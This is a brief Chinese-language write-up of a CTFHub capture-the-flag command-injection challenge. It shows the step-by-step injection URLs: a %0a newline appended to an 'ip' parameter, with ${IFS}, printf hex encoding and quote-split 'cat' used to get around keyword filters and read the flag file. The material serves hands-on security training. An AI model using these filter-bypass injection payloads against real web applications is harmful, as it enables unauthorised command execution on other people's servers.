打開靶機
查看頁面信息
查看源碼可以發現這一次過濾了很多東西,查看當前目錄信息
查詢到%0a為換行符,可以利用這個url編碼進行命令注入,開始嘗試
http://challenge-2a4584dabb18d320.sandbox.ctfhub.com:10080/?ip=127.0.0.1%0als#
查看flag_is_here文件夾內文件信息
challenge-2a4584dabb18d320.sandbox.ctfhub.com:10080/?ip=127.0.0.1%0Als<flag_is_here#
flag也被過濾了……
查看大佬的wp,可以使用16進制編碼繞過
開始嘗試
http://challenge-2a4584dabb18d320.sandbox.ctfhub.com:10080/?ip=127.0.0.1%0Als${IFS}$(printf${IFS}%22\x66\x6C\x61\x67\x5F\x69\x73\x5F\x68\x65\x72\x65%22)#
使用同樣的方法查看文件信息
http://challenge-2a4584dabb18d320.sandbox.ctfhub.com:10080/?ip=127.0.0.1%0Aca%27%27t${IFS}$(printf${IFS}%22\x66\x6C\x61\x67\x5F\x69\x73\x5F\x68\x65\x72\x65\x2F\x66\x6C\x61\x67\x5F\x32\x31\x37\x38\x38\x33\x31\x31\x36\x38\x38\x36\x30\x31\x2E\x70\x68\x70%22)#
成功拿到flag
附上大佬文章鏈接
https://blog.csdn.net/bmth666/article/details/104836708